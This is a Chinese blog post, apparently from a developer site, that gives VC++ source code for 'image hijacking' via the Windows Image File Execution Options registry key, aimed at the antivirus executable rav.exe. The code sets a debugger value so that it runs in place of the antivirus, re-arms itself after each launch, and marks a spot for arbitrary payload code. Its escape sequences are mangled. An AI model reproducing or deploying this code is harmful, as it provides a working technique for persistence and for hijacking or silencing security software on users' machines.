VC++实现镜像劫持(360保险箱启动原理)

#include "stdafx.h"

#include <stdio.h>

#include <windows.h>


int main(int argc, char* argv[])

{

char temp[256];

DWORD ret;

LPCTSTR szRegKey="SOFTWARE//Microsoft//Windows NT//CurrentVersion//Image File Execution Options"; //定义字符串指针,保存映像劫持的键位

HKEY h_KEY;

if(argc!=1) //如果参数不是1个,提取第2个参数,也就是被劫持程序的路径

{

memset(temp,0,256);

strcpy(temp,argv[1]);

for(int i=0;i<strlen(temp);i++) //将路径中的/换为/,也可以换为//,就是代码长了点

{

if(temp[i]=='//')

temp[i]='/';

}      

ret=RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey,0,KEY_ALL_ACCESS,&h_KEY); //打开注册表中需要映像劫持的子键获得句柄

if(ret==ERROR_SUCCESS)

{

printf("open ok!/n");

if(ERROR_SUCCESS==RegDeleteKey(h_KEY,"rav.exe")) //将上面打开的子键下的rav子键删除

{

printf("delete ok!/n");

RegCloseKey(h_KEY);

WinExec(temp,SW_SHOW); //运行被劫持的程序

}

else

{

printf("delete failed!/n");

RegCloseKey(h_KEY);

}

}

else

printf("open failed!/n");

}

memset(temp,0,256);

GetModuleFileName(NULL,temp,256); //得到程序自己的路径,为下面写入注册表做准备

HKEY hResultKey = NULL;

if (ERROR_SUCCESS == RegOpenKeyEx(HKEY_LOCAL_MACHINE,szRegKey, 0, KEY_ALL_ACCESS,&h_KEY)) //打开注册表中映像劫持的子键,获得句柄

{

DWORD dw;

ret = RegCreateKeyEx(h_KEY,"rav.exe", 0, REG_NONE,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL,&hResultKey, &dw); //在上面打开的子键下创建rav子键并打开,获得句柄

if (ret!=ERROR_SUCCESS)

{

RegCloseKey(h_KEY);

printf("creat failed!/n");

return 1;

}

printf("creat ok!/n");

ret=RegSetValueEx(hResultKey,"debugger",0,REG_SZ,(const BYTE *)temp,strlen(temp)+1); //在rav键上创建debugger键并设置值为本程序的路径用于映像劫持

if(ret!=ERROR_SUCCESS)

{

RegCloseKey(h_KEY);

RegCloseKey(hResultKey);

return 1;

}

RegCloseKey(h_KEY);

RegCloseKey(hResultKey);

printf("set ok!/n");

}

MessageBox(NULL,"ok!","成功!",MB_OK); //用于测试程序,可换为其他需要执行代码

 

return 0;

}

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值